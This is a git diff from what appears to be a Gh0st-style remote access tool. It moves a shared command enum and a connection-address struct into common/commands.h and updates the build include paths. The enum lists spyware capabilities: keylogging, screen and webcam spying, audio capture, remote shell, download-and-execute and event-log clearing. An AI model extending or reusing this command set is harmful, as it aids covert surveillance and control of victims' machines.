diff --git a/ReadMe.txt b/ReadMe.txt index d924867..d6986fb 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -231,3 +231,8 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足 fix: client threads number excceeding bug fix: #19 the CBuffer causing server crash fix: showing the wrong host quantity in status bar + +2024.12.27 +solve some issues according to code analysis result +reorg: Move commands to common/commands.h +此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。 diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 0e9fcce..0b78cad 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -55,7 +55,7 @@ Level3 Disabled - ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) + $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) MultiThreadedDebug ZLIB_WINAPI;%(PreprocessorDefinitions) true @@ -74,7 +74,7 @@ true true MultiThreaded - ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) + $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true @@ -110,6 +110,7 @@ + diff --git a/client/Common.h b/client/Common.h index 90dbca6..6afd4a9 100644 --- a/client/Common.h +++ b/client/Common.h @@ -1,127 +1,7 @@ #pragma once #include "IOCPClient.h" - -enum -{ - // ļ䷽ʽ - TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ - TRANSFER_MODE_ADDITION, // ׷ - TRANSFER_MODE_ADDITION_ALL, // ȫ׷ - TRANSFER_MODE_OVERWRITE, // - TRANSFER_MODE_OVERWRITE_ALL, // ȫ - TRANSFER_MODE_JUMP, // - TRANSFER_MODE_JUMP_ALL, // ȫ - TRANSFER_MODE_CANCEL, // ȡ - - // ƶ˷ - COMMAND_ACTIVED = 0x00, // ˿Լʼ - COMMAND_LIST_DRIVE, // гĿ¼ - COMMAND_LIST_FILES, // гĿ¼еļ - COMMAND_DOWN_FILES, // ļ - COMMAND_FILE_SIZE, // ϴʱļС - COMMAND_FILE_DATA, // ϴʱļ - COMMAND_EXCEPTION, // ䷢쳣Ҫ´ - COMMAND_CONTINUE, // - COMMAND_STOP, // ֹ - COMMAND_DELETE_FILE, // ɾļ - COMMAND_DELETE_DIRECTORY, // ɾĿ¼ - COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ - COMMAND_CREATE_FOLDER, // ļ - COMMAND_RENAME_FILE, // ļļ - COMMAND_OPEN_FILE_SHOW, // ʾļ - COMMAND_OPEN_FILE_HIDE, // شļ - - COMMAND_SCREEN_SPY, // Ļ鿴 - COMMAND_SCREEN_RESET, // ıĻ - COMMAND_ALGORITHM_RESET, // ı㷨 - COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del - COMMAND_SCREEN_CONTROL, // Ļ - COMMAND_SCREEN_BLOCK_INPUT, // ˼ - COMMAND_SCREEN_BLANK, // ˺ - COMMAND_SCREEN_CAPTURE_LAYER, // ׽ - COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼ - COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼ - - COMMAND_WEBCAM, // ͷ - COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪ󾭹H263ѹ - COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ - COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ - COMMAND_NEXT, // һ(ƶѾ򿪶Ի) - - COMMAND_KEYBOARD, // ̼¼ - COMMAND_KEYBOARD_OFFLINE, // ߼̼¼ - COMMAND_KEYBOARD_CLEAR, // ̼¼ - - COMMAND_AUDIO, // - - COMMAND_SYSTEM, // ϵͳ̣.... - COMMAND_PSLIST, // б - COMMAND_WSLIST, // б - COMMAND_DIALUPASS, // - COMMAND_KILLPROCESS, // رս - COMMAND_SHELL, // cmdshell - COMMAND_SESSION, // Ựػע, жأ - COMMAND_REMOVE, // жغ - COMMAND_DOWN_EXEC, // - ִ - COMMAND_UPDATE_SERVER, // - ظ - COMMAND_CLEAN_EVENT, // - ϵͳ־ - COMMAND_OPEN_URL_HIDE, // - شҳ - COMMAND_OPEN_URL_SHOW, // - ʾҳ - COMMAND_RENAME_REMARK, // ע - COMMAND_REPLAY_HEARTBEAT, // ظ - COMMAND_SERVICES, // - COMMAND_REGEDIT, - COMMAND_TALK, // ʱϢ֤ - - // ˷ıʶ - TOKEN_AUTH = 100, // Ҫ֤ - TOKEN_HEARTBEAT, // - TOKEN_LOGIN, // ߰ - TOKEN_DRIVE_LIST, // б - TOKEN_FILE_LIST, // ļб - TOKEN_FILE_SIZE, // ļСļʱ - TOKEN_FILE_DATA, // ļ - TOKEN_TRANSFER_FINISH, // - TOKEN_DELETE_FINISH, // ɾ - TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ - TOKEN_GET_FILEDATA, // Զ̵õļ - TOKEN_CREATEFOLDER_FINISH, // ļ - TOKEN_DATA_CONTINUE, // - TOKEN_RENAME_FINISH, // - TOKEN_EXCEPTION, // 쳣 - - TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO - TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ - TOKEN_NEXTSCREEN, // Ļ鿴һͼ - TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ - - TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER - TOKEN_WEBCAM_DIB, // ͷͼ - - TOKEN_AUDIO_START, // ʼ - TOKEN_AUDIO_DATA, // - - TOKEN_KEYBOARD_START, // ̼¼ʼ - TOKEN_KEYBOARD_DATA, // ̼¼ - - TOKEN_PSLIST, // б - TOKEN_WSLIST, // б - TOKEN_DIALUPASS, // - TOKEN_SHELL_START, // Զն˿ʼ - TOKEN_SERVERLIST, // б - COMMAND_SERVICELIST, // ˢ·б - COMMAND_SERVICECONFIG, // ˷ıʶ - TOKEN_TALK_START, // ʱϢʼ - TOKEN_TALKCMPLT, // ʱϢط - TOKEN_REGEDIT = 200, // ע - COMMAND_REG_FIND, //ע ʶ - TOKEN_REG_KEY, - TOKEN_REG_PATH, - COMMAND_BYE, // ض˳ - SERVER_EXIT, // ض˳ -}; - +#include "common/commands.h" typedef struct _THREAD_ARG_LIST { diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj index 739e00c..49db2a5 100644 --- a/client/TestRun_vs2015.vcxproj +++ b/client/TestRun_vs2015.vcxproj @@ -57,6 +57,7 @@ MultiThreadedDebug true false + $(SolutionDir);%(AdditionalIncludeDirectories) true @@ -72,6 +73,7 @@ MultiThreaded true _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + $(SolutionDir);%(AdditionalIncludeDirectories) true diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index e45fc23..4013bf7 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -55,7 +55,7 @@ Level3 Disabled - ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) + $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) MultiThreadedDebug _CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions) true @@ -77,7 +77,7 @@ true true MultiThreaded - ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) + $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) _CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true @@ -115,6 +115,7 @@ + diff --git a/client/test.cpp b/client/test.cpp index 651a55c..bfe4e18 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -2,6 +2,7 @@ #include #include #include +#include "common/commands.h" typedef void (*StopRun)(); @@ -18,12 +19,7 @@ IsStoped bExit = NULL; BOOL status = 0; -struct CONNECT_ADDRESS -{ - DWORD dwFlag; - char szServerIP[MAX_PATH]; - int iPort; -}g_ConnectAddress={0x1234567,"",0}; +CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN,"",0 }; //Ȩ void DebugPrivilege() diff --git a/common/commands.h b/common/commands.h new file mode 100644 index 0000000..9926f1a --- /dev/null +++ b/common/commands.h @@ -0,0 +1,136 @@ +#pragma once + +#ifndef _MAX_PATH +#define _MAX_PATH 260 +#endif + +#define FLAG_FINDEN 0x1234567 + +// öб +enum +{ + // ļ䷽ʽ + TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ + TRANSFER_MODE_ADDITION, // ׷ + TRANSFER_MODE_ADDITION_ALL, // ȫ׷ + TRANSFER_MODE_OVERWRITE, // + TRANSFER_MODE_OVERWRITE_ALL, // ȫ + TRANSFER_MODE_JUMP, // + TRANSFER_MODE_JUMP_ALL, // ȫ + TRANSFER_MODE_CANCEL, // ȡ + + // ƶ˷ + COMMAND_ACTIVED = 0x00, // ˿Լʼ + COMMAND_LIST_DRIVE, // гĿ¼ + COMMAND_LIST_FILES, // гĿ¼еļ + COMMAND_DOWN_FILES, // ļ + COMMAND_FILE_SIZE, // ϴʱļС + COMMAND_FILE_DATA, // ϴʱļ + COMMAND_EXCEPTION, // ䷢쳣Ҫ´ + COMMAND_CONTINUE, // + COMMAND_STOP, // ֹ + COMMAND_DELETE_FILE, // ɾļ + COMMAND_DELETE_DIRECTORY, // ɾĿ¼ + COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ + COMMAND_CREATE_FOLDER, // ļ + COMMAND_RENAME_FILE, // ļļ + COMMAND_OPEN_FILE_SHOW, // ʾļ + COMMAND_OPEN_FILE_HIDE, // شļ + + COMMAND_SCREEN_SPY, // Ļ鿴 + COMMAND_SCREEN_RESET, // ıĻ + COMMAND_ALGORITHM_RESET, // ı㷨 + COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del + COMMAND_SCREEN_CONTROL, // Ļ + COMMAND_SCREEN_BLOCK_INPUT, // ˼ + COMMAND_SCREEN_BLANK, // ˺ + COMMAND_SCREEN_CAPTURE_LAYER, // ׽ + COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼ + COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼ + + COMMAND_WEBCAM, // ͷ + COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪ󾭹H263ѹ + COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ + COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ + COMMAND_NEXT, // һ(ƶѾ򿪶Ի) + + COMMAND_KEYBOARD, // ̼¼ + COMMAND_KEYBOARD_OFFLINE, // ߼̼¼ + COMMAND_KEYBOARD_CLEAR, // ̼¼ + + COMMAND_AUDIO, // + + COMMAND_SYSTEM, // ϵͳ̣.... + COMMAND_PSLIST, // б + COMMAND_WSLIST, // б + COMMAND_DIALUPASS, // + COMMAND_KILLPROCESS, // رս + COMMAND_SHELL, // cmdshell + COMMAND_SESSION, // Ựػע, жأ + COMMAND_REMOVE, // жغ + COMMAND_DOWN_EXEC, // - ִ + COMMAND_UPDATE_SERVER, // - ظ + COMMAND_CLEAN_EVENT, // - ϵͳ־ + COMMAND_OPEN_URL_HIDE, // - شҳ + COMMAND_OPEN_URL_SHOW, // - ʾҳ + COMMAND_RENAME_REMARK, // ע + COMMAND_REPLAY_HEARTBEAT, // ظ + COMMAND_SERVICES, // + COMMAND_REGEDIT, + COMMAND_TALK, // ʱϢ֤ + + // ˷ıʶ + TOKEN_AUTH = 100, // Ҫ֤ + TOKEN_HEARTBEAT, // + TOKEN_LOGIN, // ߰ + TOKEN_DRIVE_LIST, // б + TOKEN_FILE_LIST, // ļб + TOKEN_FILE_SIZE, // ļСļʱ + TOKEN_FILE_DATA, // ļ + TOKEN_TRANSFER_FINISH, // + TOKEN_DELETE_FINISH, // ɾ + TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ + TOKEN_GET_FILEDATA, // Զ̵õļ + TOKEN_CREATEFOLDER_FINISH, // ļ + TOKEN_DATA_CONTINUE, // + TOKEN_RENAME_FINISH, // + TOKEN_EXCEPTION, // 쳣 + + TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO + TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ + TOKEN_NEXTSCREEN, // Ļ鿴һͼ + TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ + + TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER + TOKEN_WEBCAM_DIB, // ͷͼ + + TOKEN_AUDIO_START, // ʼ + TOKEN_AUDIO_DATA, // + + TOKEN_KEYBOARD_START, // ̼¼ʼ + TOKEN_KEYBOARD_DATA, // ̼¼ + + TOKEN_PSLIST, // б + TOKEN_WSLIST, // б + TOKEN_DIALUPASS, // + TOKEN_SHELL_START, // Զն˿ʼ + TOKEN_SERVERLIST, // б + COMMAND_SERVICELIST, // ˢ·б + COMMAND_SERVICECONFIG, // ˷ıʶ + TOKEN_TALK_START, // ʱϢʼ + TOKEN_TALKCMPLT, // ʱϢط + TOKEN_REGEDIT = 200, // ע + COMMAND_REG_FIND, // ע ʶ + TOKEN_REG_KEY, + TOKEN_REG_PATH, + COMMAND_BYE, // ض˳ + SERVER_EXIT, // ض˳ +}; + +// ӵسϢ +typedef struct CONNECT_ADDRESS +{ + unsigned long dwFlag; + char szServerIP[_MAX_PATH]; + int iPort; +} CONNECT_ADDRESS ; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index f1704b0..a6ade11 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -61,6 +61,7 @@ WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) true false + $(SolutionDir);%(AdditionalIncludeDirectories) Windows @@ -89,6 +90,7 @@ true Size true + $(SolutionDir);%(AdditionalIncludeDirectories) Windows @@ -134,6 +136,7 @@ + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index df34650..cf142e3 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -13,12 +13,7 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize); -struct CONNECT_ADDRESS -{ - DWORD dwFlag; - char szServerIP[MAX_PATH]; - int iPort; -}g_ConnectAddress={0x1234567,"",0}; +CONNECT_ADDRESS g_ConnectAddress={ FLAG_FINDEN,"",0}; CBuildDlg::CBuildDlg(CWnd* pParent) : CDialog(CBuildDlg::IDD, pParent) diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 61cbfbd..633ef72 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -5,6 +5,8 @@ #pragma once +#include "common/commands.h" + // ʹѹ㷨㷨Ҫclienstdafx.hƥ #define USING_COMPRESS 1 @@ -59,127 +61,6 @@ #include // Ϳؼ MFC ֧ -enum -{ - // ļ䷽ʽ - TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ - TRANSFER_MODE_ADDITION, // ׷ - TRANSFER_MODE_ADDITION_ALL, // ȫ׷ - TRANSFER_MODE_OVERWRITE, // - TRANSFER_MODE_OVERWRITE_ALL, // ȫ - TRANSFER_MODE_JUMP, // - TRANSFER_MODE_JUMP_ALL, // ȫ - TRANSFER_MODE_CANCEL, // ȡ - - // ƶ˷ - COMMAND_ACTIVED = 0x00, // ˿Լʼ - COMMAND_LIST_DRIVE, // гĿ¼ - COMMAND_LIST_FILES, // гĿ¼еļ - COMMAND_DOWN_FILES, // ļ - COMMAND_FILE_SIZE, // ϴʱļС - COMMAND_FILE_DATA, // ϴʱļ - COMMAND_EXCEPTION, // ䷢쳣Ҫ´ - COMMAND_CONTINUE, // - COMMAND_STOP, // ֹ - COMMAND_DELETE_FILE, // ɾļ - COMMAND_DELETE_DIRECTORY, // ɾĿ¼ - COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ - COMMAND_CREATE_FOLDER, // ļ - COMMAND_RENAME_FILE, // ļļ - COMMAND_OPEN_FILE_SHOW, // ʾļ - COMMAND_OPEN_FILE_HIDE, // شļ - - COMMAND_SCREEN_SPY, // Ļ鿴 - COMMAND_SCREEN_RESET, // ıĻ - COMMAND_ALGORITHM_RESET, // ı㷨 - COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del - COMMAND_SCREEN_CONTROL, // Ļ - COMMAND_SCREEN_BLOCK_INPUT, // ˼ - COMMAND_SCREEN_BLANK, // ˺ - COMMAND_SCREEN_CAPTURE_LAYER, // ׽ - COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼ - COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼ - - COMMAND_WEBCAM, // ͷ - COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪ󾭹H263ѹ - COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ - COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ - COMMAND_NEXT, // һ(ƶѾ򿪶Ի) - - COMMAND_KEYBOARD, // ̼¼ - COMMAND_KEYBOARD_OFFLINE, // ߼̼¼ - COMMAND_KEYBOARD_CLEAR, // ̼¼ - - COMMAND_AUDIO, // - - COMMAND_SYSTEM, // ϵͳ̣.... - COMMAND_PSLIST, // б - COMMAND_WSLIST, // б - COMMAND_DIALUPASS, // - COMMAND_KILLPROCESS, // رս - COMMAND_SHELL, // cmdshell - COMMAND_SESSION, // Ựػע, жأ - COMMAND_REMOVE, // жغ - COMMAND_DOWN_EXEC, // - ִ - COMMAND_UPDATE_SERVER, // - ظ - COMMAND_CLEAN_EVENT, // - ϵͳ־ - COMMAND_OPEN_URL_HIDE, // - شҳ - COMMAND_OPEN_URL_SHOW, // - ʾҳ - COMMAND_RENAME_REMARK, // ע - COMMAND_REPLAY_HEARTBEAT, // ظ - COMMAND_SERVICES, // - COMMAND_REGEDIT, - COMMAND_TALK, // ʱϢ֤ - - // ˷ıʶ - TOKEN_AUTH = 100, // Ҫ֤ - TOKEN_HEARTBEAT, // - TOKEN_LOGIN, // ߰ - TOKEN_DRIVE_LIST, // б - TOKEN_FILE_LIST, // ļб - TOKEN_FILE_SIZE, // ļСļʱ - TOKEN_FILE_DATA, // ļ - TOKEN_TRANSFER_FINISH, // - TOKEN_DELETE_FINISH, // ɾ - TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ - TOKEN_GET_FILEDATA, // Զ̵õļ - TOKEN_CREATEFOLDER_FINISH, // ļ - TOKEN_DATA_CONTINUE, // - TOKEN_RENAME_FINISH, // - TOKEN_EXCEPTION, // 쳣 - - TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO - TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ - TOKEN_NEXTSCREEN, // Ļ鿴һͼ - TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ - - - TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER - TOKEN_WEBCAM_DIB, // ͷͼ - - TOKEN_AUDIO_START, // ʼ - TOKEN_AUDIO_DATA, // - - TOKEN_KEYBOARD_START, // ̼¼ʼ - TOKEN_KEYBOARD_DATA, // ̼¼ - - TOKEN_PSLIST, // б - TOKEN_WSLIST, // б - TOKEN_DIALUPASS, // - TOKEN_SHELL_START, // Զն˿ʼ - TOKEN_SERVERLIST, // б - COMMAND_SERVICELIST, // ˢ·б - COMMAND_SERVICECONFIG, // ˷ıʶ - TOKEN_TALK_START, // ʱϢʼ - TOKEN_TALKCMPLT, // ʱϢط - TOKEN_REGEDIT = 200, // ע - COMMAND_REG_FIND, //ע ʶ - TOKEN_REG_KEY, - TOKEN_REG_PATH, - COMMAND_BYE, // ض˳ - SERVER_EXIT, // ض˳ -}; - #define WM_USERTOONLINELIST WM_USER + 3000 #define WM_OPENSCREENSPYDIALOG WM_USER + 3001